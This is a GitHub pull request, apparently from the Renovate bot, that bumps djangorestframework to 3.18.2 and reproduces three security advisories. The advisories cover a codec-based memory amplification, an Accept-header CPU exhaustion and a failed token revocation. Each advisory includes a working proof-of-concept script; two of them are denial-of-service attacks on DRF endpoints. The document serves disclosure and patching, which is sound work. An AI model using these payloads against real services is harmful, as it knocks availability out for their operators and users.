Skip to content

⬆️(dependencies) update djangorestframework to v3.18.2 [SECURITY] - #2902

Merged
lunika merged 1 commit into
mainfrom
renovate/pypi-djangorestframework-vulnerability
Oct 22, 2026
Merged

lunika merged 1 commit into
mainfrom
renovate/pypi-djangorestframework-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 22, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
djangorestframework (changelog) ==3.18.1 → ==3.18.2 age confidence

Django REST framework: JSONParser applies an attacker-named codec to the request stream

CVE-2026-114136 / GHSA-3547-9m27-7rxg

More information

Details

Summary

An unauthenticated attacker can defeat Django's DATA_UPLOAD_MAX_MEMORY_SIZE limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.

Details

JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type
header:

##### rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec,
uu_codec and similar. codecs.getreader is the only entry point in the codecs module that does
not consult CodecInfo._is_text_encoding, so it accepts all of them. Sending
Content-Type: application/json; charset=bz2_codec wraps the request stream in a bz2 decompressor
before json.load reads it.

The ordering is what makes this exploitable. Django charges DATA_UPLOAD_MAX_MEMORY_SIZE against the
bytes that arrived on the wire: rest_framework/request.py hands JSONParser an
io.BytesIO(self.body), and HttpRequest.body is where _check_data_too_big() runs. Decompression
happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of
request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2_codec')
and str(raw, 'bz2_codec') raise
LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs.
DRF is the only caller that hands the request stream to codecs.getreader.

FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named
encoding but fail closed instead of amplifying.

The sink was introduced by 9a228116 (PR #​5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because read() decodes the whole stream, which is the same property that
makes this expansion unbounded. No _is_text_encoding check has been added since.

A one-line fix at parsers.py:61-64:

if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')
PoC

Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.

#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []

def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}

def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()

def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo

def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)

def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss

def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", data=body, content_type=content_type)
    after = peak_rss_kib()

    parsed_len = None
    if response.status_code == 200:
        try:
            parsed_len = json.loads(response.content).get("parsed_value_len")
        except ValueError:
            pass

    # Second reading via a bare RequestFactory so the exception class is visible
    # directly instead of inferred from a status code.
    request = RequestFactory().generic(
        "POST", "/x", data=body, content_type=content_type
    )
    try:
        direct = {"status_code": build_view().as_view()(request).status_code}
    except BaseException as exc:  # noqa: BLE001 - naming the class is the point
        direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

    return {
        "arm": arm,
        "content_type": content_type,
        "transmitted_bytes": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest(),
        "status_code": response.status_code,
        "view_body_executed": bool(VIEW_RAN),
        "parsed_value_len": parsed_len,
        "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
        "peak_rss_delta_mib": round((after - before) / 1024.0, 1),
        "direct_dispatch": direct,
    }

def check(arm, r):
    if arm in ("T", "C3"):
        return (
            r["status_code"] == 200
            and r["view_body_executed"]
            and r["parsed_value_len"] == PAYLOAD_CHARS
            and r["amplification_ratio"] >= 700
        )
    if arm == "C1":
        return (
            r["status_code"] != 200
            and not r["view_body_executed"]
            and r["direct_dispatch"].get("exception")
            == "django.core.exceptions.RequestDataTooBig"
        )
    if arm == "C2":
        return r["status_code"] == 400 and not r["view_body_executed"]
    raise AssertionError(arm)

def main():
    if "--arm" in sys.argv:
        print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
        return 0

    sizes = build_payloads()
    print(f"# payload sizes: {sizes}")
    print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
    print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")

    ok = True
    results = {}
    for arm in ("T", "C1", "C2", "C3"):
        proc = subprocess.run(
            [sys.executable, os.path.abspath(__file__), "--arm", arm],
            capture_output=True,
            text=True,
        )
        if proc.returncode != 0:
            print(f"{arm}: harness failed\n{proc.stderr}")
            return 2
        r = json.loads(proc.stdout.strip().splitlines()[-1])
        results[arm] = r
        passed = check(arm, r)
        ok = ok and passed
        print(f"=== {arm}  [{'as described' if passed else 'NOT as described'}]")
        print(f"    expected: {EXPECTED[arm]}")
        print(json.dumps(r, indent=6))
        print()

    print("=== summary")
    for arm, r in results.items():
        print(
            f"    {arm:3} wire={r['transmitted_bytes']:>9}B  status={r['status_code']}  "
            f"parsed_len={r['parsed_value_len']}  ratio={r['amplification_ratio']}  "
            f"peak_rss_delta={r['peak_rss_delta_mib']} MiB  view_ran={r['view_body_executed']}"
        )
    print(f"\n    T and C1 and C2: {'all held' if ok else 'NOT all held'}")
    return 0 if ok else 1

if __name__ == "__main__":
    sys.exit(main())

Observed output, abbreviated to the summary block:


##### payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
##### DATA_UPLOAD_MAX_MEMORY_SIZE = 65536

##### JSON string value under test: 50331648 characters

=== summary
    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True
    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False
    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False
    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True

    T and C1 and C2: all held

C1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and
not an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the
limit rejects it, which is client-side cost and never reaches the view. C2 carries most of the
weight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few
MiB between runs.

Repeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x,
with C1 and C2 both holding.

One note if you re-implement the request yourself: use Client.generic() or
RequestFactory().generic(). Both Client.post() and RequestFactory.post() push the body through
force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), which destroys a compressed
payload before the parser sees it.

Impact

Unauthenticated denial of service through memory amplification, against any endpoint that accepts a
JSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no
application code or configuration choice opts into it. Memory is per-request and released afterwards,
which is why this is rated on availability alone rather than as Critical, but the amplification factor
means a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates
hundreds of megabytes, and nothing in DRF or Django bounds the expanded size.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation

CVE-2026-114138 / GHSA-33wh-fxxf-88vv

More information

Details

Summary

DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

Details
What happens

get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.

For every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. _MediaType.__init__ calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.

When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.

With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.

The quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.

Numbers from my runs, measured as utime+stime deltas of the server process:

one token, ~9KB: 230ms server CPU
24 tokens, 216KB: 5.07s on runserver, which has no per field limit
48 tokens, 432KB: 10.08s on runserver
96 tokens, 780KB: 18.87s under gunicorn defaults

Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.

A few details that matter for reproducing it:

Django rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.

gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0

pocproj/settings.py:

SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True

pocproj/api.py:

from rest_framework.views import APIView
from rest_framework.response import Response

class Items(APIView):
    def get(self, request):
        return Response([{'id': 1, 'name': 'ok'}])

pocproj/urls.py:

from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]

Start it:

python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3:

import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100):
    # 8100 semicolons keeps each field under gunicorn's limit_request_field_size
    # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
    # x{i} names stop order_by_precedence from deduplicating the tokens.
    return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]

def burn():
    c = http.client.HTTPConnection(*TARGET, timeout=120)
    c.putrequest('GET', '/items/', skip_accept_encoding=True)
    for f in fields():
        c.putheader('Accept', f)
    c.endheaders()
    r = c.getresponse(); r.read(); c.close()
    return r.status

t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')

##### printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s

stop = False

def loop():
    while not stop:
        try:
            burn()
        except Exception:
            pass

ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
    x.start()
for _ in range(9):
    time.sleep(2)
    try:
        c = http.client.HTTPConnection(*TARGET, timeout=3)
        c.request('GET', '/items/', headers={'Accept': 'application/json'})
        r = c.getresponse(); r.read(); c.close()
        print('health: 200')
    except Exception as e:
        print('health: DEAD', type(e).__name__)
stop = True

##### printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9

##### probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker
##### was between requests. after stop, one more probe timed out while the in-flight

##### request finished, then 200 in 0.57s.
Impact

Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.

The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.

The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #​8556. I verified the behavior on 3.18.0.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Django REST framework: TokenProxy.delete() reports success and revokes nothing

CVE-2026-114137 / GHSA-xw6w-gcfp-cf8m

More information

Details

Summary

Deleting an authentication token through TokenProxy silently deletes nothing. The call raises no
exception and reports success, the database row survives, and the token keeps authenticating. Any
application, admin integration or operational script that revokes credentials by calling .delete()
on a TokenProxy instance believes it has revoked a token that is still live.

Details

TokenProxy overrides pk to return the user id (rest_framework/authtoken/models.py:49-63):

@property
def pk(self):
    return self.user_id

The concrete Token model keys on key, not on an integer id. Model.delete() builds its delete
query from pk, so it emits:

DELETE FROM "authtoken_token" WHERE "authtoken_token"."key" IN ('1')

That matches a user id against the 40-character key column. Nothing matches, nothing raises, and the
call returns (0, {'authtoken.TokenProxy': 0}).

DRF already ships two workarounds for this same identity mismatch instead of a fix. In
rest_framework/authtoken/admin.py, TokenAdmin.delete_model re-fetches the concrete row:

def delete_model(self, request, obj):
    Token.objects.get(key=obj.key).delete()   # admin.py:30

and TokenAdmin sets actions = None with the comment "Actions not compatible with mapped IDs"
(admin.py:50-53). The shipped admin path is therefore safe, and every other caller of
TokenProxy.delete() is not. Nothing in the API signals the difference.

TokenProxy was added by e2bd3b6a (PR #​7341, "Adjusted token admin to map to user ID"), first
released in 3.12.0.

A fix would drop the pk override, or give TokenProxy a delete() that operates on the concrete
row, or raise instead of silently reporting zero deletions.

PoC

Save as poc_tokenproxy_revocation.py and run it.

#!/usr/bin/env python
"""
django-rest-framework: TokenProxy.delete() reports success and revokes nothing.

  baseline  token exists                        -> 200
  TRIGGER   TokenProxy.objects.get(...).delete() -> no exception, row survives, still 200
  CONTROL   Token.objects.get(key=...).delete()  -> row gone, 401

The control is what makes the trigger meaningful: it proves the row was
deletable and the credential check live, so the 200 after the proxy delete is a
failed revocation and not a broken harness.

Requires: django, djangorestframework importable. No arguments.
    python poc_tokenproxy_revocation.py
Exit status 0 means the revocation failure reproduced.
"""
import sys

import django
from django.conf import settings

settings.configure(
    DEBUG=False,
    SECRET_KEY="poc",
    ALLOWED_HOSTS=["*"],
    ROOT_URLCONF=__name__,
    INSTALLED_APPS=[
        "django.contrib.contenttypes",
        "django.contrib.auth",
        "rest_framework",
        "rest_framework.authtoken",
    ],
    DATABASES={"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}},
    DEFAULT_AUTO_FIELD="django.db.models.AutoField",
    USE_TZ=True,
)
django.setup()

from django.contrib.auth import get_user_model  # noqa: E402
from django.core.management import call_command  # noqa: E402
from django.db import connection  # noqa: E402
from django.test import Client  # noqa: E402
from django.test.utils import CaptureQueriesContext  # noqa: E402
from django.urls import path  # noqa: E402

from rest_framework.authentication import TokenAuthentication  # noqa: E402
from rest_framework.authtoken.models import Token, TokenProxy  # noqa: E402
from rest_framework.permissions import IsAuthenticated  # noqa: E402
from rest_framework.response import Response  # noqa: E402
from rest_framework.views import APIView  # noqa: E402

class Whoami(APIView):
    authentication_classes = [TokenAuthentication]
    permission_classes = [IsAuthenticated]

    def get(self, request):
        return Response({"user": request.user.get_username()})

urlpatterns = [path("", Whoami.as_view())]

def probe(client, key):
    response = client.get("/", headers={"authorization": "Token %s" % key})
    return response.status_code

def main():
    call_command("migrate", run_syncdb=True, verbosity=0)
    user = get_user_model().objects.create_user(username="revoke-user", password="pw")
    key = Token.objects.create(user=user).key
    client = Client()

    print("TokenProxy._meta.proxy   =", TokenProxy._meta.proxy)
    print("Token._meta.pk.attname   =", Token._meta.pk.attname)
    print("user.pk                  =", user.pk)
    print("token key                =", key)

    print("\n--- baseline")
    print("rows                     =", Token.objects.count())
    baseline = probe(client, key)
    print("GET / with token         ->", baseline)

    print("\n--- TRIGGER: delete through the proxy")
    proxy = TokenProxy.objects.get(user=user)
    print("proxy.pk                 =", proxy.pk, "(TokenProxy.pk property)")
    raised = None
    with CaptureQueriesContext(connection) as ctx:
        try:
            returned = proxy.delete()
        except Exception as exc:  # noqa: BLE001
            raised, returned = exc, None
    for q in ctx.captured_queries:
        if "DELETE" in q["sql"]:
            print("    SQL:", q["sql"])
    print("raised                   =", repr(raised))
    print("returned                 =", returned)
    print("rows                     =", Token.objects.count())
    after_proxy = probe(client, key)
    print("GET / with token         ->", after_proxy)

    print("\n--- CONTROL: delete the same row through the concrete model")
    with CaptureQueriesContext(connection) as ctx2:
        returned2 = Token.objects.get(key=key).delete()
    for q in ctx2.captured_queries:
        if "DELETE" in q["sql"]:
            print("    SQL:", q["sql"])
    print("returned                 =", returned2)
    print("rows                     =", Token.objects.count())
    after_real = probe(client, key)
    print("GET / with token         ->", after_real)

    ok = baseline == 200 and raised is None and after_proxy == 200 and after_real == 401
    print(
        "\nrevocation failure reproduced:", ok,
        "(baseline 200, still 200 after proxy delete, 401 after real delete)",
    )
    return 0 if ok else 1

if __name__ == "__main__":
    sys.exit(main())

Observed output:

TokenProxy._meta.proxy   = True
Token._meta.pk.attname   = key
user.pk                  = 1
token key                = 6a644878f252175d39205804c5a6faf16df67c10

--- baseline
rows                     = 1
GET / with token         -> 200

--- TRIGGER: delete through the proxy
proxy.pk                 = 1 (TokenProxy.pk property)
    SQL: DELETE FROM "authtoken_token" WHERE "authtoken_token"."key" IN ('1')
raised                   = None
returned                 = (0, {'authtoken.TokenProxy': 0})
rows                     = 1
GET / with token         -> 200

--- CONTROL: delete the same row through the concrete model
    SQL: DELETE FROM "authtoken_token" WHERE "authtoken_token"."key" IN ('6a644878...')
returned                 = (1, {'authtoken.Token': 1})
rows                     = 0
GET / with token         -> 401

revocation failure reproduced: True

The control is what makes the trigger meaningful: it proves the row was deletable and the credential
check live, so the 200 after the proxy delete is a failed revocation and not a broken harness.
Reproduced identically on Django 6.1 and 5.2.17 LTS, so this is not a recent Django regression.

Impact

Failed credential revocation. An operator who revokes a token through a TokenProxy instance, and
receives no error, leaves a live credential in circulation indefinitely, because DRF auth tokens do
not expire on their own. Whoever holds that token benefits: a departed employee, a rotated
integration, a device believed to be deprovisioned, or an attacker whose access was thought to have
been cut during incident response.

No untrusted input reaches this code path, which is why the vector is scored AC:H. Exploitation
depends on the deployment revoking through the proxy, which is a natural thing to do given
TokenProxy is the model registered in the admin and the one most code will reach for. Any
deployment on 3.12.0 or later that revokes tokens outside DRF's own TokenAdmin.delete_model should
audit whether its revocations took effect.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

encode/django-rest-framework (djangorestframework)

v3.18.2

Compare Source

What's Changed

Security
Features
Bug fixes

New Contributors

Full Changelog: encode/django-rest-framework@3.18.1...3.18.2


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added automated Pull request created automatically dependencies Pull requests that update a dependency file noChangeLog labels Oct 22, 2026
@lunika
lunika merged commit d21520f into main Oct 22, 2026
63 of 64 checks passed
@lunika
lunika deleted the renovate/pypi-djangorestframework-vulnerability branch October 22, 2026 19:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

automated Pull request created automatically dependencies Pull requests that update a dependency file noChangeLog

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant